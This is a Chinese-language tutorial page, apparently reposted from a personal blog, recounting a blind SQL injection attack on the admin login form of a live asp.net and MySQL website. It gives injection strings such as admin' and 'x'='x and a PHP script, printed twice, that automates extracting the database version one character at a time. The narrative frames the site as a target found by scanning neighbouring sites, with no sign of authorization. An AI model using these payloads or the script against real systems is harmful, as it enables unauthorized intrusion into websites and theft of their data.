网站地图    收藏   

主页 > 后端 > 网站安全 >

asp.net+mysql后台盲注入 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 14:47 作者: 阅读:

[导读] 后台的登录注入点,不过悲剧的是无回显只能盲注。更悲剧的是mysql数据库是5一下的版本!不过还好站点是asp.net程序的使程序报错后能显示一些信息。 正文开始吧。 目标站点找了一圈...

后台的登录注入点,不过悲剧的是无回显只能盲注。更悲剧的是mysql数据库是5一下的版本!
不过还好站点是asp.net程序的使程序报错后能显示一些信息。
  正文开始吧。
  目标站点找了一圈没发现入口点,旁站没几个,不过幸运的是发现了个登录框的注入点!(应为这个旁站只有一个登录入口!)
  刚开是在用户名那里输入了 admin'-- 报错了
You have an error in your SQL syntax.  Check the manual that corresponds to your MySQL server version for the right syntax to use near ')' at line 1
一看对输入没有过滤是存在注入!那么好办了。
首先先看看能不能直接绕过去。输入admin' and 'x'='x 密码随便 程序没有报错 不过提示的是密码错误。
看来他的sql语句是先判断用户名再判断密码的!
接下来准备看看密码是否可以绕过。
返回的结果一样好吧我承认我2B了 程序肯定是把传递过来的参数MD5加密过的!!
盲注吧没任何显示的!!
先判断了下有长度是多少。
这里拿 查看当前库的语句来演示。
http://www.2cto.com /path/index.aspx?UserName=admin' and Length((database()))=9 and 'x'='x
经过判断长度等于9
我承认这样子很麻烦不过sql注入神器没有回显的!所以被逼无奈的我自己写了一个自动注入的脚本!
不过目标站点的是UTF-8 我cmd下面显示不了UTF-8 所以我用php函数转换了下编码把关键字定位了
不过程序不能自己去对比关键字。(可能php水平还没到位)
所以只能自己去判断了!

注入代码我发上来吧!
 
<?php  
///* //9  
for($i=1; $i<=9; $i++){// 猜内容  
$a=1;  
while($a<=120){  
$sa=sList($i,$a++);  
$sa =iconv("UTF-8", "GB2312//IGNORE",$sa);  
echo ($i).$sa." ----".($a-1)."\n";  
}  
}  
//*/  
 
/* 
$a=0; 
while ($a<50){//猜长度 
$sa=sky($a++); 
$sa =iconv("UTF-8", "GB2312//IGNORE",$sa); 
echo $sa." ----".($a-1)."\n"; 

*/ 
function sList($ke,$value)   
{  
$tmp = array();  
$data = '';  
$fp = @fsockopen($host,80,$errno,$errstr,60);  
@fputs($fp,"GET /path/index.aspx?UserName=admin'%20and%20ascii(substring((version()),$ke,1))=".$value."%20and%20'x'='x HTTP/1.1\r\nHost:$host\r\nConnection: Close\r\n\r\n");  
while ($fp && !feof($fp))  
$data .= fread($fp, 102400);  
@fclose($fp);  
//print_r($data);  
preg_match_all("@<font color=\"Red\">(.*?)</font>@is",$data,$tmp);  
return $tmp[1][0];  
}  
function sky($value){  //猜长度  
$tmp = array();  
$data = '';  
$fp = @fsockopen($host,80,$errno,$errstr,60);  
@fputs($fp,"GET /path/index.aspx?UserName=admin'%20and%20Length((version()))=$value%20and%20'x'='x HTTP/1.1\r\nHost:$host\r\nConnection: Close\r\n\r\n");  
while ($fp && !feof($fp))  
$data .= fread($fp, 102400);  
@fclose($fp);  
//print_r($data);  
preg_match_all("@<font color=\"Red\">(.*?)</font>@is",$data,$tmp);  
return $tmp[1][0];  
}  
?> 
<?php
///* //9
for($i=1; $i<=9; $i++){// 猜内容
$a=1;
while($a<=120){
$sa=sList($i,$a++);
$sa =iconv("UTF-8", "GB2312//IGNORE",$sa);
echo ($i).$sa." ----".($a-1)."\n";
}
}
//*/

/*
$a=0;
while ($a<50){//猜长度
$sa=sky($a++);
$sa =iconv("UTF-8", "GB2312//IGNORE",$sa);
echo $sa." ----".($a-1)."\n";
}
*/
function sList($ke,$value)
{
$tmp = array();
$data = '';
$fp = @fsockopen($host,80,$errno,$errstr,60);
@fputs($fp,"GET /path/index.aspx?UserName=admin'%20and%20ascii(substring((version()),$ke,1))=".$value."%20and%20'x'='x HTTP/1.1\r\nHost:$host\r\nConnection: Close\r\n\r\n");
while ($fp && !feof($fp))
$data .= fread($fp, 102400);
@fclose($fp);
//print_r($data);
preg_match_all("@<font color=\"Red\">(.*?)</font>@is",$data,$tmp);
return $tmp[1][0];
}
function sky($value){  //猜长度
$tmp = array();
$data = '';
$fp = @fsockopen($host,80,$errno,$errstr,60);
@fputs($fp,"GET /path/index.aspx?UserName=admin'%20and%20Length((version()))=$value%20and%20'x'='x HTTP/1.1\r\nHost:$host\r\nConnection: Close\r\n\r\n");
while ($fp && !feof($fp))
$data .= fread($fp, 102400);
@fclose($fp);
//print_r($data);
preg_match_all("@<font color=\"Red\">(.*?)</font>@is",$data,$tmp);
return $tmp[1][0];
}
?>

\
希望有人能帮忙完善下这段代码!!
最后感谢那条死鱼的打击以及Ay暗影的帮忙!!

来源:落叶's Blog
 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论